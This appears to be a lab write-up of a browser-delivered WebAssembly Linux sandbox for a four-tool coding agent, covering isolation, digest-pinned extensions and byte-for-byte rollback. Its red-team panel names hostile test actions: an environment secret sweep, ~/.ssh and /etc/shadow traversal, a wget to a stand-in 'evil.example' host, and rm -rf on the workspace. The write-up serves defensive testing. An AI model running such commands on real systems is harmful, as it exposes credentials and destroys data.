pi sandboxed vm harness: 4-tool coding agent in linux 7.x
Why this matters
Coding agents that invoke shell commands directly on a developer workstation inherit host environment variables, SSH keys, ambient disk write access, and outbound network sockets. Moving tool execution into an offline browser-delivered Unkernel Linux 7.x Dedicated Worker keeps model inference and credentials outside the guest VM while exposing only four narrow tools (read, write, edit, bash).
What this opens up
Zero-install coding agent sandboxes delivered by URL: inspect unfamiliar repositories, execute real POSIX awk/sed/sh test suites, branch or rewind tool sessions across workspace checkpoints, verify extensions by SHA-256 digest before registration, and roll back destructive guest commands byte-for-byte in one click.
How the tests work
- Click Run Full 4-Tool Pi Loop to boot real Linux 7.x inside
public/pi-vm-worker.js(112 MiB,net: undefined, 9pMemoryFsat/work), read/work/calc.awk, reproduce the failingsh /work/run-tests.shrun, apply a surgicaledit(qty > 5toqty >= 5), and confirm exit code0—recording every turn into an interactive Session Tree with Rewind & Branch controls. - Switch the host-side Model Reasoning Backend between the zero-key Deterministic Scripted Pi Loop, Port Authority AI Router (
https://llmchannel.dev/router.js), Chrome Built-inLanguageModel, or local Ollama (http://localhost:11434)—none of which pass credentials into the Linux guest. - Run Verify & Register Pinned
csv_auditversus Attempt 1-Byte Tampered Extension to inspect Web CryptoSHA-256digest verification before tool registration, then run the verified extension inside Linux 7.x. - Trigger Run All 4 Live Attacks in the Hostile Repo Red-Team panel (
envsecret sweep,~/.ssh&/work/../../etc/shadowtraversal,wget https://evil.example, andrm -rf /work/*), then click 1-Click Pre-Task Rollback to prove byte-for-byte SHA-256 restoration and review the Browser VM vs. Native Pi CLI Compatibility Matrix.
Hypothesis
Modeled on Mario Zechner’s minimalist
piarchitecture, splitting model orchestration and credentials in the host tab from 4-tool execution inside an offline browser-delivered Linux 7.x Worker eliminates host key exposure, ambient disk access, and outbound exfiltration for POSIX shell tasks without requiring server containers.
What confirms it: The 4-tool loop fixes /work/calc.awk and flips sh /work/run-tests.sh from exit 1 to exit 0 inside real Linux 7.x; a 1-byte tampered extension is rejected by SubtleCrypto SHA-256 before registration; guest env exposes 0 secret keys; wget fails under net: undefined; and rm -rf /work/* restores byte-for-byte with an identical pre-task SHA-256.
What bounds or disproves it: The bundled ~12.8 MB BusyBox unkernel.wasm image runs sh, awk, sed, grep, and sha256sum immediately, but full developer toolchains (node/npm, git, native C/Rust builds, or long-lived daemons) still require mounting an Alpine/Debian EROFS distro image, adding a Wisp proxy for package egress, and enabling COOP/COEP cross-origin isolation for SMP builds.
Under the hood
Pi Sandboxed VM Harness (source on GitHub) separates model reasoning and session state in the host browser tab (public/app.js, public/lib/pi-tools.js) from POSIX execution inside a Dedicated Web Worker (public/pi-vm-worker.js). The Worker imports unkernel@0.3.0-261202-b033dc7 from immutable Cloudflare static assets (/vendor/unkernel/0.3.0-261202-b033dc7/) and boots Linux 7.x with memoryMiB: 112, net: undefined, and a 9p MemoryFs mounted at /work seeded with calc.awk (containing a planted qty > 5 boundary bug), data.csv, run-tests.sh, and README.md.
Every file mutation (write, edit, and 1-click rollback) runs through the guest so Linux’s 9p page cache and the host MemoryFs remain immediately coherent without waiting on the 1-second metatimeout=1000 window. Extensions are checked against PINNED_EXTENSION_SHA256 with crypto.subtle.digest("SHA-256") before any custom tool is registered, and every session turn records a workspace SHA-256 snapshot so branching or rolling back after a destructive rm -rf /work/* restores /work byte-for-byte.
Key terms & further reading
- Pi Minimalist Coding Agent ↗
- Mario Zechner’s minimalist coding agent design built around four core tools (
read,write,edit,bash), tree-structured branching sessions, and explicit extensions. - Unkernel (Linux 7.x on WebAssembly) ↗
- A compiled Linux 7.x kernel with real MMU,
fork(),/proc, and 9p host mounts packaged as a singleunkernel.wasmmodule executing aarch64 userland binaries in browser Workers. - WebAssembly JSPI (WebAssembly.Suspending) ↗
- JavaScript Promise Integration enabling synchronous-looking kernel I/O inside WebAssembly to suspend cleanly on async browser operations.
- Plan 9 (9p) Filesystem & MemoryFs ↗
- Virtual filesystem protocol used by Unkernel over vsock to expose an isolated in-memory
/workworkspace to Linux without touching the host disk. - SubtleCrypto.digest("SHA-256") ↗
- Web Crypto hashing primitive used here to pin custom Pi extensions by digest before registration and verify byte-for-byte workspace rollback.
- Port Authority AI Router (llmchannel.dev) ↗
- Browser
MessagePortrouter providing OpenAI-compatible Chat Completions access to a user-selected model in the host tab without placing raw API keys inside the page or guest VM.
Open questions
- How fast can an on-demand HTTP-range Alpine or Debian EROFS image mount over 9p + OPFS before developer wait times rival remote cloud sandboxes?
- Can capability-scoped Wisp network policies allow
npmorgit fetchto a single allowlisted repository while blocking arbitrary outbound exfiltration from guestbash?
Iteration log
- — Shipped real Unkernel 0.3.0-261202-b033dc7 Linux 7.x Dedicated Worker Pi harness with 4 core tools, branching Session Tree with snapshot rewind, SHA-256 digest-pinned extension gate, 4 live red-team attacks + 1-click byte-for-byte rollback, and Browser VM vs. Native Pi CLI compatibility matrix.
Primitives tested: Unkernel Linux 7.x (Wasm + JSPI), 9p MemoryFs Workspace Mount, 4-Tool Pi Loop (read/write/edit/bash), Branching Session Tree, SubtleCrypto SHA-256 Digest Pinning, Port Authority / Chrome AI / Ollama Host Inference.
This is an active lab under /labs/ and stays off the main RSS feed until graduated into a full essay.